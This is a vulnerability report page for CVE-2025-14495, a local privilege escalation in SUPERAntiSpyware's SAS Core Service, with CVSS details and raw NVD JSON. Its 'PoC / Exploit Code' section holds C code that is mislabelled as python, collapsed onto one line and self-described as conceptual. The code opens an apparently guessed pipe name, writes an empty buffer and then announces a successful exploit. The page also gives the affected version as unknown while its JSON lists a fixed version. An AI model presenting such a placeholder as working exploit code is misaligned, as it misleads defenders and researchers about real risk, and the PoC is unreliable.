Security Vulnerability Report
中文
CVE-2025-14495 CVSS 7.8 HIGH

CVE-2025-14495

Published: 2025-12-23 22:15:51
Last Modified: 2026-01-20 20:06:38

Description

RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27677.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:superantispyware:superantispyware:*:*:*:*:professional:*:*:* - VULNERABLE
RealDefense SUPERAntiSpyware (版本未知,在2025-12-23前未修复)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14495 PoC - SUPERAntiSpyware Local Privilege Escalation // This is a conceptual PoC demonstrating the attack vector // Note: Actual exploitation requires specific conditions and offsets #include <windows.h> #include <stdio.h> // Service name for SUPERAntiSpyware Core Service #define SERVICE_NAME "SAS Core Service" // Function to check if service is running BOOL CheckServiceStatus() { SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCManager == NULL) { printf("[-] Failed to open Service Control Manager\n"); return FALSE; } SC_HANDLE hService = OpenService(hSCManager, SERVICE_NAME, SERVICE_QUERY_STATUS); if (hService == NULL) { printf("[-] Service not found or access denied\n"); CloseServiceHandle(hSCManager); return FALSE; } SERVICE_STATUS status; QueryServiceStatus(hService, &status); CloseServiceHandle(hService); CloseServiceHandle(hSCManager); return (status.dwCurrentState == SERVICE_RUNNING); } // Function to trigger the vulnerable exposed function BOOL TriggerVulnerableFunction() { HANDLE hPipe; char buffer[1024]; // Attempt to connect to the service pipe hPipe = CreateFile( "\\\\.\\pipe\\SASServicePipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if (hPipe == INVALID_HANDLE_VALUE) { printf("[-] Failed to connect to service pipe\n"); return FALSE; } // Prepare malicious payload to exploit exposed dangerous function // This would trigger privilege escalation via the vulnerable function memset(buffer, 0, sizeof(buffer)); // Write exploit payload to pipe DWORD bytesWritten; BOOL result = WriteFile(hPipe, buffer, sizeof(buffer), &bytesWritten, NULL); CloseHandle(hPipe); return result; } int main() { printf("[+] CVE-2025-14495 PoC - SUPERAntiSpyware LPE\n"); printf("[+] Checking if vulnerable service is running...\n"); if (!CheckServiceStatus()) { printf("[-] Target service not running or not accessible\n"); return 1; } printf("[+] Service is running, attempting exploitation...\n"); if (TriggerVulnerableFunction()) { printf("[+] Exploit triggered successfully\n"); printf("[+] Check for elevated privileges\n"); } else { printf("[-] Exploitation failed\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14495", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:50.757", "lastModified": "2026-01-20T20:06:38.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27677."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-749"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:superantispyware:superantispyware:*:*:*:*:professional:*:*:*", "versionEndExcluding": "10.0.1280", "matchCriteriaId": "11ED6680-71AF-4770-B776-22C1EDAADFAE"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1169/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}